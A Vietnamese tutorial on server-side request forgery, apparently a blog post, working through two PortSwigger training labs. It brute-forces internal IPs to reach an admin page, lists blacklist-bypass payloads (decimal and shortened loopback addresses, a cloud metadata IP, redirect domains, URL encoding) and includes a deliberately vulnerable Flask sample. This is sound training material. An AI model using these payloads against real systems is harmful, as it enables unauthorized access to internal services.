II. Phân tích và khai thác các lỗ hổng Server-side request forgery (tiếp)
3. Lỗ hổng SSRF truy cập hệ thống back-end khác
Bên cạnh việc tận dụng lỗ hổng SSRF truy cập vào server local, chúng ta cũng có thể truy cập vào các hệ thống back-end khác. Các hệ thống này thường không thể truy cập trực tiếp từ public server, để tấn công được các server này chúng ta cần biết chính xác domain hoặc địa chỉ IP của chúng. Có thể sử dụng phương pháp Brute force tìm kiếm trong dải địa chỉ IP phù hợp với mục tiêu tấn công.
Phân tích lab Basic SSRF against another back-end system
Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng hệ thống mạng nội bộ có trang quản trị viên /admin
trong dải 192.168.0.X với cổng . Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng SSRF truy cập vào trang quản trị viên này và thực hiện xóa tài khoản người dùng carlos.
Tương tự lab trước, tham số stockApi
truyền bằng phương thức POST cho hệ thống giá trị là một địa chỉ URL và địa chỉ này chỉ có thể truy cập từ mạng local.
Kiểm tra lỗ hổng SSRF bằng kỹ thuật DNS lookup và thành công:
Chú ý địa chỉ ban đầu được truyền tới hệ thống của trang web: http://192.168.0.1:8080/product/stock/check?productId=1&storeId=1
có IP 192.168.0.1
, mở port , chúng ta đã biết tồn tại trang quản trị viên có URL dạng 192.168.0.X:8080/admin
. Ý tưởng chúng ta sẽ thực hiện brute force tất cả khả năng của IP này để tìm ra URL chính xác.
Gửi request tới chức năng Intruder
Đặt payload marker tại vị trí cần tấn công vét cạn. Đây là dạng địa chỉ IPv4 nên octet X có giá trị từ đến , đó cùng là danh sách payload chúng ta thực hiện vét cạn:
Quan sát thấy IP 192.168.0.139 trả về status và trong response chứa chức năng của trang quản trị viên:
Cuối cùng truy cập tới URL này và thực hiện xóa tài khoản người dùng carlos. Payload: stockApi=http://192.168.0.139:8080/admin/delete?username=carlos
Bài lab được giải quyết:
4. SSRF và bypass blacklist-based input filters
Các địa chỉ thường dùng để truy cập vào mạng local thường có dạng http://localhost
hoặc http://127.0.0.1
, bởi vậy, chúng ta có thể ngăn chặn các cụm từ nhạy cảm này bằng black list - danh sách "đen" gồm các phần tử không được phép xuất hiện. Ví dụ đoạn code sau:
from flask import *
import requests app = Flask(__name__) @app.route('/ssrf')
def follow_url(): url = request.args.get('url', '') blacklist = ['127.0.0.1', 'localhost'] for check in blacklist: if check in urk: return "Attack SSRF detected!" return (requests.get(url).text) if __name__ == '__main__': app.run(host = "0.0.0.0", port = 9999)
Trang web kiểm tra các giá trị 127.0.0.1
, localhost
trong blacklist có xuất hiện trong tham số url
hay không từ đó thực hiện ngăn chặn cuộc tấn công SSRF tới server local.
Tuy nhiên, để truy cập vào server local chúng ta có nhiều cách bypass cơ chế ngăn chặn này.
- Bypass với domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
- Bypass với decimal IP location
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
- Bypass với rare address
http://0/
http://127.1
http://127.0.1
Hệ thống cũng có thể thực hiện ngăn chặn các từ khóa đặc biệt (chẳng hạn từ khóa admin). Chúng ta có thể bypass bằng cách sau:
- Bypass bằng URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
- Bypass bằng các ký tự đặc biệt
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com // các ký tự đặc biệt: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
- Bypass sử dụng Unicode
Còn nhiều cách bypass khác các bạn có thê tham khảo thêm tại Payloads all the things.
Phân tích lab SSRF with blacklist-based input filter
Miêu tả: Chức năng stock check của trang web truy xuất dữ liệu từ trang mạng nội bộ trả về cho người dùng. Tại đây chứa lỗ hổng SSRF. Biết rằng trang web có một cơ chế ngăn chặn tấn công SSRF bao gồm hai lớp kiểm tra. Để giải quyết bài lab, chúng ta cần vượt qua cơ chế ngăn chặn này, truy cập vào trang quản trị viên tại http://localhost/admin
và thực hiện xóa tài khoản người dùng carlos.
Tương tự các lab trước, tham số stockApi
tại chức năng check stock truyền tới hệ thống một giá trị URL qua phương thức POST.
Kiểm tra lỗ hổng SSRF, thực hiện DNS lookup thành công:
Kiểm tra cơ chế ngăn chặn của hệ thống, chúng ta nhận thấy trang web sử dụng black list ngăn chặn các từ khóa đặc biệt như localhost
và 127.0.0.1
:
Chúng ta có thể bypass bước ngăn chặn này với rare address http://127.1
hoặc http://127.0.1
Truy cập tới /admin
cũng bị ngăn chặn:
Lớp ngăn chặn thứ hai này cũng sử dụng black list cho từ khóa admin
, bypass:
- Cách : Sử dụng ký tự viết hoa, chẳng hạn
Admin
, payload:stockApi=http://127.0.1/Admin
- Cách : Encode URL, có thể thực hiện URL encode ký tự bất kỳ. Lưu ý cần encode lần do trong quá trình POST đã có lần decode URL. Payload:
stockApi=http://127.0.1/%25%36%31dmin
Xóa tài khoản người dùng carlos và hoàn thành bài lab:
Các tài liệu tham khảo
- https://portswigger.net/web-security/ssrf
- https://en.wikipedia.org/wiki/IPv4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf